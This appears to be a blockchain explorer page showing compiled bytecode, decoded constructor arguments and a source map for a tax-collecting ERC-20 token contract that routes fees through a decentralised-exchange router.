657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b60648201526084016105a4565b610a51610c6b565b15610a5e57610a5e610cc3565b610ab9610a6b838661106f565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600490915291909120549190610918565b6001600160a01b038516600090815260046020908152604080832093909355600690529081205460ff1615610aee5782610af8565b610af885846110f5565b6001600160a01b038516600090815260046020526040902054909150610b1e9082611193565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b729085815260200190565b60405180910390a3506001949350505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610bd6918490610918565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610c059083611193565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c599086815260200190565b60405180910390a35060019392505050565b600e546000906001600160a01b03163314801590610c8c575060105460ff16155b8015610ca15750600e54600160a01b900460ff165b8015610cbe5750600f543060009081526004602052604090205410155b905090565b6010805460ff19166001179055600f54600a54600854600091610cf691600291610cf091829087906111f2565b90611274565b90506000610d0483836112b6565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610d3e57610d3e611550565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbb919061146c565b81600181518110610dce57610dce611550565b6001600160a01b039283166020918202929092010152600d5460405163791ac94760e01b81524792919091169063791ac94790610e18908690600090879030904290600401611566565b600060405180830381600087803b158015610e3257600080fd5b505af1158015610e46573d6000803e3d6000fd5b505050506000610e5f82476112b690919063ffffffff16565b90506000610e85610e7c600260085461127490919063ffffffff16565b600a54906112b6565b90506000610ea76002610cf084610cf0600854886111f290919063ffffffff16565b90506000610ec483610cf0600954876111f290919063ffffffff16565b600c546040519192506000916001600160a01b039091169061753090849084818181858888f193505050503d8060008114610f1b576040519150601f19603f3d011682016040523d82523d6000602084013e610f20565b606091505b5050905080610f715760405162461bcd60e51b815260206004820152601e60248201527f72656365697665722072656a656374656420455448207472616e73666572000060448201526064016105a4565b881561105957600d60009054906101000a90046001600160a01b03166001600160a01b031663f305d71984308c600080600c60009054906101000a90046001600160a01b0316426040518863ffffffff1660e01b8152600401610fd996959493929190611489565b60606040518083038185885af1158015610ff7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061101c91906114c4565b505060408051858152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506010805460ff191690555050505050505050565b600c546040516370a0823160e01b81526001600160a01b03838116600483015260009283929116906370a0823190602401602060405180830381865afa1580156110bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e191906115d7565b90506110ed84826111f2565b949350505050565b600080611113600b54610cf0600a54866111f290919063ffffffff16565b306000908152600460205260409020549091506111309082611193565b30600081815260046020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111819085815260200190565b60405180910390a36110ed83826112b6565b6000806111a0838561153d565b9050838110156105295760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a4565b60008260000361120457506000610468565b600061121083856115f0565b90508261121d8583611607565b146105295760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a4565b600061052983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112f8565b600061052983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610918565b600081836113195760405162461bcd60e51b81526004016105a49190611326565b5060006109498486611607565b600060208083528351808285015260005b8181101561135357858101830151858201604001528201611337565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461056957600080fd5b6000806040838503121561139c57600080fd5b82356113a781611374565b946020939093013593505050565b6000806000606084860312156113ca57600080fd5b83356113d581611374565b925060208401356113e581611374565b929592945050506040919091013590565b60006020828403121561140857600080fd5b813561052981611374565b6000806040838503121561142657600080fd5b823561143181611374565b9150602083013561144181611374565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60006020828403121561147e57600080fd5b815161052981611374565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000806000606084860312156114d957600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561150457600080fd5b8151801515811461052957600080fd5b634e487b7160e01b600052601160045260246000fd5b8181038181111561046857610468611514565b8082018082111561046857610468611514565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115b65784516001600160a01b031683529383019391830191600101611591565b50506001600160a01b03969096166060850152505050608001529392505050565b6000602082840312156115e957600080fd5b5051919050565b808202811582820484141761046857610468611514565b60008261162457634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220fa4c272f469d9286e034ea9b16f7707a1a67b2b42f28aae30402b463f4886d4f64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000adc91eb1c3450d93ce7987a5738189a3f5c698d0

-----Decoded View---------------
Arg [0] : _routerAdress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : _taxReceiver (address): 0xaDC91EB1c3450d93ce7987a5738189A3F5C698d0

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000adc91eb1c3450d93ce7987a5738189a3f5c698d0


Deployed Bytecode Sourcemap

4186:7860:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5057:54;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5057:54:0;;;;;;;;6119:80;;;;;;;;;;-1:-1:-1;6191:5:0;;;;;;;;;;;-1:-1:-1;;;6191:5:0;;;;6119:80;;;;6191:5;6119:80;:::i;6541:216::-;;;;;;;;;;-1:-1:-1;6541:216:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6541:216:0;1205:187:1;5849:88:0;;;;;;;;;;-1:-1:-1;5922:12:0;;5849:88;;7059:370;;;;;;;;;;-1:-1:-1;7059:370:0;;;;;:::i;:::-;;:::i;2424:103::-;;;;;;;;;;-1:-1:-1;2424:103:0;;;;;:::i;:::-;2479:4;2514:5;-1:-1:-1;;;;;2503:16:0;;;2514:5;;2503:16;;2424:103;5943:80;;;;;;;;;;-1:-1:-1;5943:80:0;;4427:1;2252:36:1;;2240:2;2225:18;5943:80:0;2110:184:1;11379:109:0;;;;;;;;;;;;;:::i;:::-;;6765:122;;;;;;;;;;-1:-1:-1;6765:122:0;;;;;:::i;:::-;;:::i;4495:58::-;;;;;;;;;;;;;;;;5019:31;;;;;;;;;;-1:-1:-1;5019:31:0;;;;-1:-1:-1;;;5019:31:0;;;;;;6289:105;;;;;;;;;;-1:-1:-1;6289:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;6373:18:0;6355:7;6373:18;;;:9;:18;;;;;;;6289:105;2533:131;;;;;;;;;;;;;:::i;6205:78::-;;;;;;;;;;-1:-1:-1;6257:7:0;6275:5;-1:-1:-1;;;;;6275:5:0;6205:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;6205:78:0;2299:203:1;11602:441:0;;;;;;;;;;;;;:::i;4991:19::-;;;;;;;;;;-1:-1:-1;4991:19:0;;;;-1:-1:-1;;;;;4991:19:0;;;6895:156;;;;;;;;;;-1:-1:-1;6895:156:0;;;;;:::i;:::-;;:::i;11496:98::-;;;;;;;;;;;;;:::i;6400:133::-;;;;;;;;;;-1:-1:-1;6400:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;6502:19:0;;;6484:7;6502:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6400:133;4960:24;;;;;;;;;;-1:-1:-1;4960:24:0;;;;-1:-1:-1;;;;;4960:24:0;;;6541:216;6645:10;6616:4;6633:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;6633:32:0;;;;;;;;;;:41;;;6690:37;6616:4;;6633:32;;6690:37;;;;6668:6;160:25:1;;148:2;133:18;;14:177;6690:37:0;;;;;;;;-1:-1:-1;6745:4:0;6541:216;;;;;:::o;7059:370::-;-1:-1:-1;;;;;7179:19:0;;7159:4;7179:19;;;:11;:19;;;;;;;;7199:10;7179:31;;;;;;;;-1:-1:-1;;7179:52:0;7176:186;;7281:69;;;;;;;;;;;-1:-1:-1;;;7281:69:0;;;;;;;;-1:-1:-1;;;;;7281:19:0;;-1:-1:-1;7281:19:0;;;:11;:19;;;;;7301:10;7281:31;;;;;;;;;;:69;;7317:6;;7281:35;:69::i;:::-;-1:-1:-1;;;;;7247:19:0;;;;;;:11;:19;;;;;;;;7267:10;7247:31;;;;;;;:103;7176:186;7381:40;7395:6;7403:9;7414:6;7381:13;:40::i;:::-;7374:47;;7059:370;;;;;;:::o;11379:109::-;11436:11;;11428:52;;-1:-1:-1;;;;;11436:11:0;;;;11458:21;11428:52;;;;;11436:11;11428:52;11436:11;11428:52;11458:21;11436:11;11428:52;;;;;;;;;;;;;;;;;;;;;11379:109::o;6765:122::-;6820:4;6844:35;6852:7;-1:-1:-1;;6844:7:0;:35::i;2533:131::-;2479:4;2514:5;-1:-1:-1;;;;;2514:5:0;2385:10;2503:16;2369:38;;;;-1:-1:-1;;;2369:38:0;;;;;;;:::i;:::-;;;;;;;;;2606:1:::1;2590:18:::0;;-1:-1:-1;;;;;;2590:18:0::1;::::0;;2624:32:::1;::::0;2445:51:1;;;2624:32:0::1;::::0;2433:2:1;2418:18;2624:32:0::1;;;;;;;2533:131::o:0;11602:441::-;2479:4;2514:5;-1:-1:-1;;;;;2514:5:0;2385:10;2503:16;2369:38;;;;-1:-1:-1;;;2369:38:0;;;;;;;:::i;:::-;11676:6:::1;;;;;;;;;-1:-1:-1::0;;;;;11676:6:0::1;-1:-1:-1::0;;;;;11676:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11664:40:0::1;;11705:6;;;;;;;;;-1:-1:-1::0;;;;;11705:6:0::1;-1:-1:-1::0;;;;;11705:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11664:70;::::0;-1:-1:-1;;;;;;11664:70:0::1;::::0;;;;;;-1:-1:-1;;;;;3946:15:1;;;11664:70:0::1;::::0;::::1;3928:34:1::0;11728:4:0::1;3978:18:1::0;;;3971:43;3863:18;;11664:70:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11657:4;:77:::0;;-1:-1:-1;;;;;;11657:77:0::1;-1:-1:-1::0;;;;;11657:77:0;;::::1;;::::0;;11765:4:::1;-1:-1:-1::0;11745:26:0;;;:11:::1;:26;::::0;;;;;;;11780:6:::1;::::0;;;::::1;11745:43:::0;;;;;;;;-1:-1:-1;;11745:63:0;;11819:6;6373:18;;;:9;:18;;;;;;;;11819:124;;-1:-1:-1;;;11819:124:0;;:6;::::1;::::0;:22:::1;::::0;11849:21:::1;::::0;11819:124:::1;::::0;11765:4;;6373:18;-1:-1:-1;;;;11916:10:0::1;::::0;11927:15:::1;::::0;11819:124:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11960:4:0::1;::::0;11982:6:::1;::::0;11954:52:::1;::::0;-1:-1:-1;;;11954:52:0;;-1:-1:-1;;;;;11982:6:0;;::::1;11954:52;::::0;::::1;5122:51:1::0;-1:-1:-1;;5189:18:1;;;5182:34;11960:4:0;::::1;::::0;-1:-1:-1;11954:19:0::1;::::0;5095:18:1;;11954:52:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12017:11:0::1;:18:::0;;-1:-1:-1;;;;12017:18:0::1;-1:-1:-1::0;;;12017:18:0::1;::::0;;11602:441::o;6895:156::-;6975:4;6999:44;7013:10;7025:9;7036:6;6999:13;:44::i;11496:98::-;2479:4;2514:5;-1:-1:-1;;;;;2514:5:0;2385:10;2503:16;2369:38;;;;-1:-1:-1;;;2369:38:0;;;;;;;:::i;:::-;11574:12:::1;::::0;11555:16:::1;:31:::0;11496:98::o;513:190::-;599:7;635:12;627:6;;;;619:29;;;;-1:-1:-1;;;619:29:0;;;;;;;;:::i;:::-;-1:-1:-1;659:9:0;671:5;675:1;671;:5;:::i;:::-;659:17;513:190;-1:-1:-1;;;;;513:190:0:o;7437:809::-;7549:6;;7529:4;;7549:6;;7546:63;;;7565:41;7580:6;7588:9;7599:6;7565:14;:41::i;:::-;7558:48;;;;7546:63;7638:4;;-1:-1:-1;;;;;7625:17:0;;;7638:4;;7625:17;;;;:38;;-1:-1:-1;7659:4:0;;-1:-1:-1;;;;;7646:17:0;;;7659:4;;7646:17;;7625:38;7621:200;;;-1:-1:-1;;;;;7688:26:0;;;;;;:15;:26;;;;;;;;;:79;;-1:-1:-1;7751:16:0;;-1:-1:-1;;;;;7718:20:0;;;;;;:9;:20;;;;;;:29;;7741:6;;7718:29;:::i;:::-;:49;;7688:79;7680:129;;;;-1:-1:-1;;;7680:129:0;;6106:2:1;7680:129:0;;;6088:21:1;6145:2;6125:18;;;6118:30;6184:34;6164:18;;;6157:62;-1:-1:-1;;;6235:18:1;;;6228:35;6280:19;;7680:129:0;5904:401:1;7680:129:0;7852:16;:14;:16::i;:::-;7849:35;;;7871:10;:8;:10::i;:::-;7917:70;7939:23;7947:6;7955;7939:7;:23::i;:::-;7917:70;;;;;;;;;;;-1:-1:-1;;;7917:70:0;;;;;;;;-1:-1:-1;;;;;7917:17:0;;-1:-1:-1;7917:17:0;;;:9;:17;;;;;;;;;:70;:21;:70::i;:::-;-1:-1:-1;;;;;7897:17:0;;;;;;:9;:17;;;;;;;;:90;;;;8683:11;:19;;;;;;;;8682:20;8025:56;;8075:6;8025:56;;;8049:23;8057:6;8065;8049:7;:23::i;:::-;-1:-1:-1;;;;;8115:20:0;;;;;;:9;:20;;;;;;8000:81;;-1:-1:-1;8115:40:0;;8000:81;8115:24;:40::i;:::-;-1:-1:-1;;;;;8092:20:0;;;;;;;:9;:20;;;;;;;:63;;;;8173:43;;;;;;;;;;8201:14;160:25:1;;148:2;133:18;;14:177;8173:43:0;;;;;;;;-1:-1:-1;8234:4:0;;7437:809;-1:-1:-1;;;;7437:809:0:o;8258:330::-;8388:53;;;;;;;;;;;-1:-1:-1;;;8388:53:0;;;;;;;;-1:-1:-1;;;;;8388:17:0;;8351:4;8388:17;;;:9;:17;;;;;;;:53;;8410:6;;8388:21;:53::i;:::-;-1:-1:-1;;;;;8368:17:0;;;;;;;:9;:17;;;;;;:73;;;;8475:20;;;;;;;:32;;8500:6;8475:24;:32::i;:::-;-1:-1:-1;;;;;8452:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8523:35;;;;;;;;;;8551:6;160:25:1;;148:2;133:18;;14:177;8523:35:0;;;;;;;;-1:-1:-1;8576:4:0;8258:330;;;;;:::o;9256:197::-;9343:4;;9305;;-1:-1:-1;;;;;9343:4:0;9329:10;:18;;;;:38;;-1:-1:-1;9361:6:0;;;;9360:7;9329:38;:62;;;;-1:-1:-1;9380:11:0;;-1:-1:-1;;;9380:11:0;;;;9329:62;:116;;;;-1:-1:-1;9432:13:0;;9422:4;9404:24;;;;:9;:24;;;;;;:41;;9329:116;9322:123;;9256:197;:::o;9461:1532::-;5166:6;:13;;-1:-1:-1;;5166:13:0;5175:4;5166:13;;;9541::::1;::::0;9634:8:::1;::::0;9616:12:::1;::::0;5166:6;;9591:59:::1;::::0;9648:1:::1;::::0;9591:52:::1;::::0;;;9541:13;;9591:24:::1;:38::i;:::-;:42:::0;::::1;:52::i;:59::-;9565:85:::0;-1:-1:-1;9661:20:0::1;9684:41;:20:::0;9565:85;9684:24:::1;:41::i;:::-;9762:16;::::0;;9776:1:::1;9762:16:::0;;;;;::::1;::::0;;9661:64;;-1:-1:-1;9738:21:0::1;::::0;9762:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9762:16:0::1;9738:40;;9807:4;9789;9794:1;9789:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9789:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9833:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;9833:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;9789:7;;9833:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9823:4;9828:1;9823:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9823:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;9917:6:::1;::::0;:188:::1;::::0;-1:-1:-1;;;9917:188:0;;9883:21:::1;::::0;9917:6;;;::::1;::::0;:57:::1;::::0;:188:::1;::::0;9989:12;;9859:21:::1;::::0;10032:4;;10059::::1;::::0;10079:15:::1;::::0;9917:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10116:17;10136:40;10162:13;10136:21;:25;;:40;;;;:::i;:::-;10116:60;;10187:19;10209:33;10222:19;10239:1;10222:12;;:16;;:19;;;;:::i;:::-;10209:8;::::0;;:12:::1;:33::i;:::-;10187:55;;10253:26;10282:51;10331:1;10282:44;10314:11;10282:27;10296:12;;10282:9;:13;;:27;;;;:::i;:51::-;10253:80;;10344:26;10373:44;10405:11;10373:27;10387:12;;10373:9;:13;;:27;;;;:::i;:44::-;10491:11;::::0;10483:68:::1;::::0;10344:73;;-1:-1:-1;10433:21:0::1;::::0;-1:-1:-1;;;;;10491:11:0;;::::1;::::0;10541:5:::1;::::0;10344:73;;10433:21;10483:68;10433:21;10483:68;10344:73;10491:11;10541:5;10483:68:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10432:119;;;10570:16;10562:59;;;::::0;-1:-1:-1;;;10562:59:0;;7971:2:1;10562:59:0::1;::::0;::::1;7953:21:1::0;8010:2;7990:18;;;7983:30;8049:32;8029:18;;;8022:60;8099:18;;10562:59:0::1;7769:354:1::0;10562:59:0::1;10637:19:::0;;10634:352:::1;;10672:6;;;;;;;;;-1:-1:-1::0;;;;;10672:6:0::1;-1:-1:-1::0;;;;;10672:22:0::1;;10702:18;10748:4;10772:15;10806:1;10826::::0;10846:11:::1;;;;;;;;;-1:-1:-1::0;;;;;10846:11:0::1;10876:15;10672:234;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10926:48:0::1;::::0;;8302:25:1;;;8358:2;8343:18;;8336:34;;;10926:48:0::1;::::0;-1:-1:-1;8275:18:1;10926:48:0::1;;;;;;;10634:352;-1:-1:-1::0;;5184:6:0;:14;;-1:-1:-1;;5184:14:0;;;-1:-1:-1;;;;;;;;9461:1532:0:o;8718:193::-;8835:11;;8829:36;;-1:-1:-1;;;8829:36:0;;-1:-1:-1;;;;;2463:32:1;;;8829:36:0;;;2445:51:1;8790:7:0;;;;8835:11;;;8829:28;;2418:18:1;;8829:36:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8810:55;-1:-1:-1;8883:20:0;:6;8810:55;8883:10;:20::i;:::-;8876:27;8718:193;-1:-1:-1;;;;8718:193:0:o;8919:329::-;8986:7;9006:17;9026:40;9051:14;;9026:20;9037:8;;9026:6;:10;;:20;;;;:::i;:40::-;9122:4;9104:24;;;;:9;:24;;;;;;9006:60;;-1:-1:-1;9104:39:0;;9006:60;9104:28;:39::i;:::-;9095:4;9077:24;;;;:9;:24;;;;;;;:66;;;;9159:42;;-1:-1:-1;;;;;9159:42:0;;;;;;;9191:9;160:25:1;;148:2;133:18;;14:177;9159:42:0;;;;;;;;9219:21;:6;9230:9;9219:10;:21::i;186:179::-;244:7;;276:5;280:1;276;:5;:::i;:::-;264:17;;305:1;300;:6;;292:46;;;;-1:-1:-1;;;292:46:0;;8772:2:1;292:46:0;;;8754:21:1;8811:2;8791:18;;;8784:30;8850:29;8830:18;;;8823:57;8897:18;;292:46:0;8570:351:1;709:246:0;767:7;791:1;796;791:6;787:47;;-1:-1:-1;821:1:0;814:8;;787:47;844:9;856:5;860:1;856;:5;:::i;:::-;844:17;-1:-1:-1;889:1:0;880:5;884:1;844:17;880:5;:::i;:::-;:10;872:56;;;;-1:-1:-1;;;872:56:0;;9523:2:1;872:56:0;;;9505:21:1;9562:2;9542:18;;;9535:30;9601:34;9581:18;;;9574:62;-1:-1:-1;;;9652:18:1;;;9645:31;9693:19;;872:56:0;9321:397:1;961:132:0;1019:7;1046:39;1050:1;1053;1046:39;;;;;;;;;;;;;;;;;:3;:39::i;371:136::-;429:7;456:43;460:1;463;456:43;;;;;;;;;;;;;;;;;:3;:43::i;1099:189::-;1185:7;1220:12;1213:5;1205:28;;;;-1:-1:-1;;;1205:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1244:9:0;1256:5;1260:1;1256;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;885:315;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;3126:329::-;3328:2;3310:21;;;3367:1;3347:18;;;3340:29;-1:-1:-1;;;3400:2:1;3385:18;;3378:36;3446:2;3431:18;;3126:329::o;3460:251::-;3530:6;3583:2;3571:9;3562:7;3558:23;3554:32;3551:52;;;3599:1;3596;3589:12;3551:52;3631:9;3625:16;3650:31;3675:5;3650:31;:::i;4025:607::-;-1:-1:-1;;;;;4384:15:1;;;4366:34;;4431:2;4416:18;;4409:34;;;;4474:2;4459:18;;4452:34;;;;4517:2;4502:18;;4495:34;;;;4566:15;;;4560:3;4545:19;;4538:44;4346:3;4598:19;;4591:35;;;;4315:3;4300:19;;4025:607::o;4637:306::-;4725:6;4733;4741;4794:2;4782:9;4773:7;4769:23;4765:32;4762:52;;;4810:1;4807;4800:12;4762:52;4839:9;4833:16;4823:26;;4889:2;4878:9;4874:18;4868:25;4858:35;;4933:2;4922:9;4918:18;4912:25;4902:35;;4637:306;;;;;:::o;5227:277::-;5294:6;5347:2;5335:9;5326:7;5322:23;5318:32;5315:52;;;5363:1;5360;5353:12;5315:52;5395:9;5389:16;5448:5;5441:13;5434:21;5427:5;5424:32;5414:60;;5470:1;5467;5460:12;5509:127;5570:10;5565:3;5561:20;5558:1;5551:31;5601:4;5598:1;5591:15;5625:4;5622:1;5615:15;5641:128;5708:9;;;5729:11;;;5726:37;;;5743:18;;:::i;5774:125::-;5839:9;;;5860:10;;;5857:36;;;5873:18;;:::i;6442:127::-;6503:10;6498:3;6494:20;6491:1;6484:31;6534:4;6531:1;6524:15;6558:4;6555:1;6548:15;6574:980;6836:4;6884:3;6873:9;6869:19;6915:6;6904:9;6897:25;6941:2;6979:6;6974:2;6963:9;6959:18;6952:34;7022:3;7017:2;7006:9;7002:18;6995:31;7046:6;7081;7075:13;7112:6;7104;7097:22;7150:3;7139:9;7135:19;7128:26;;7189:2;7181:6;7177:15;7163:29;;7210:1;7220:195;7234:6;7231:1;7228:13;7220:195;;;7299:13;;-1:-1:-1;;;;;7295:39:1;7283:52;;7390:15;;;;7355:12;;;;7331:1;7249:9;7220:195;;;-1:-1:-1;;;;;;;7471:32:1;;;;7466:2;7451:18;;7444:60;-1:-1:-1;;;7535:3:1;7520:19;7513:35;7432:3;6574:980;-1:-1:-1;;;6574:980:1:o;8381:184::-;8451:6;8504:2;8492:9;8483:7;8479:23;8475:32;8472:52;;;8520:1;8517;8510:12;8472:52;-1:-1:-1;8543:16:1;;8381:184;-1:-1:-1;8381:184:1:o;8926:168::-;8999:9;;;9030;;9047:15;;;9041:22;;9027:37;9017:71;;9068:18;;:::i;9099:217::-;9139:1;9165;9155:132;;9209:10;9204:3;9200:20;9197:1;9190:31;9244:4;9241:1;9234:15;9272:4;9269:1;9262:15;9155:132;-1:-1:-1;9301:9:1;;9099:217::o

Swarm Source

ipfs://fa4c272f469d9286e034ea9b16f7707a1a67b2b42f28aae30402b463f4886d4f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.